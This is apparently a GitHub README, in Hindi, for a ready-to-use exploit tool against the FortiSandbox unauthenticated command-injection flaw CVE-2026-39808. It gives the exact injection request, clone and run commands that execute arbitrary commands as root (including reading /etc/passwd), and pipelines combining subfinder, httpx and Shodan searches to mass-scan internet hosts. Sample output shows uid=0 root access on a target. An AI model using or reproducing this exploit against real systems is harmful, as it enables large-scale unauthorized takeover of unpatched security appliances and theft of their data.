
अनधिकृत RCE स्कैनर FortiSandbox CVE-2026-39808 के लिए, जिसमें कैनरी-आधारित सत्यापन, कमांड निष्पादन, और बड़े पैमाने पर स्कैनिंग के लिए पाइपलाइन एकीकरण शामिल है।
Fortinet FortiSandbox में बिना प्रमाणीकरण के root के रूप में OS कमांड इंजेक्शन
भेद्यता • स्थापना • उपयोग • यह कैसे काम करता है • पाइपलाइन • Shodan Dorks • अस्वीकरण
CVE-2026-39808 Fortinet FortiSandbox में एक गंभीर बिना प्रमाणीकरण वाली OS कमांड इंजेक्शन भेद्यता है। /fortisandbox/job-detail/tracer-behavior API एंडपॉइंट jid पैरामीटर को सैनिटाइज़ करने में विफल रहता है, जिससे एक हमलावर मनमाने OS कमांड इंजेक्ट कर सकता है जो root के रूप में निष्पादित होते हैं — बिना किसी प्रमाणीकरण के।
| विवरण | मान |
|---|---|
| CVE ID | CVE-2026-39808 |
| CVSS स्कोर | 9.8 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण | कोई नहीं |
| विशेषाधिकार | Root |
| प्रभावित संस्करण | FortiSandbox < 4.4.9 |
| पैच किया गया | 4.4.9 और उससे ऊपर |
| परामर्श | FG-IR-25-325 |
tracer-behavior एंडपॉइंट में jid पैरामीटर को बिना सैनिटाइज़ेशन के सीधे एक सिस्टम कमांड में पास किया जाता है। पाइप वर्णों (|) का उपयोग करके, एक हमलावर इच्छित कमांड संदर्भ से बाहर निकल सकता है और मनमाने कमांड निष्पादित कर सकता है:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
आउटपुट /web/ng/out.txt में लिखा जाता है, जो वेब सर्वर पर /ng/out.txt पर उपलब्ध है — जो ब्लाइंड कमांड इंजेक्शन के लिए एक सुविधाजनक रीड-बैक तंत्र प्रदान करता है।
शून्य निर्भरताएँ। केवल Python 3.7+ मानक लाइब्रेरी।
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# जाँचें कि क्या लक्ष्य भेद्य है (कैनरी-आधारित पहचान का उपयोग करता है)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# लक्ष्य पर एक विशिष्ट कमांड निष्पादित करें
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# केवल जाँचें कि क्या भेद्य है, --cmd निष्पादित न करें
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# URL सूची से
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → स्कैनर
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → स्कैनर
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL लक्ष्य URL
--stdin stdin से URL पढ़ें (पाइपलाइन मोड)
--cmd CMD निष्पादित करने के लिए OS कमांड (डिफ़ॉल्ट: id)
--verify-only केवल भेद्यता सत्यापित करें, --cmd निष्पादित न करें
--proxy PROXY HTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080)
--timeout TIMEOUT HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 15)
--rate-limit RATE_LIMIT लक्ष्यों के बीच देरी ms में (डिफ़ॉल्ट: 0)
-o, --output FILE आउटपुट JSON रिपोर्ट फ़ाइल
--no-banner बैनर दबाएँ
स्कैनर 5-चरणीय सत्यापन प्रक्रिया का उपयोग करता है जिसमें सख्त गलत-सकारात्मक रोकथाम होती है:
चरण 1 → FortiSandbox का पता लगाएँ (शीर्षक/हेडर फ़िंगरप्रिंट)
चरण 2 → जाँचें कि क्या भेद्य एंडपॉइंट मौजूद है
चरण 3 → कमांड इंजेक्शन के माध्यम से अद्वितीय कैनरी स्ट्रिंग इंजेक्ट करें
चरण 4 → /ng/out.txt पढ़ें और कैनरी सत्यापित करें (सख्त सादा-पाठ सत्यापन)
चरण 5 → उपयोगकर्ता कमांड निष्पादित करें + सफाई
स्कैनर गलत सकारात्मक को समाप्त करने के लिए सत्यापन की कई परतें लागू करता है:
text/html नहीं होना चाहिएid आउटपुट रेगेक्स — आकार जाँच के साथ सख्त uid=\d+(\w+) पैटर्न मिलान (<1000 बाइट्स)/ng प्रत्यय स्वचालित रूप से हटाता है ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Endpoint status: 200 | Content-Type: text/html
▸ Injecting canary: mitsec_a8k3m2x1
▸ Reading output: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Output file cleaned up
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint returned 404 — not vulnerable or patched
▸ Reading output: https://target.com/ng/out.txt
⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
▸ Content-Type: text/html
▸ This is a false positive — /ng/out.txt serves the SPA index.html
▸ Target does not appear vulnerable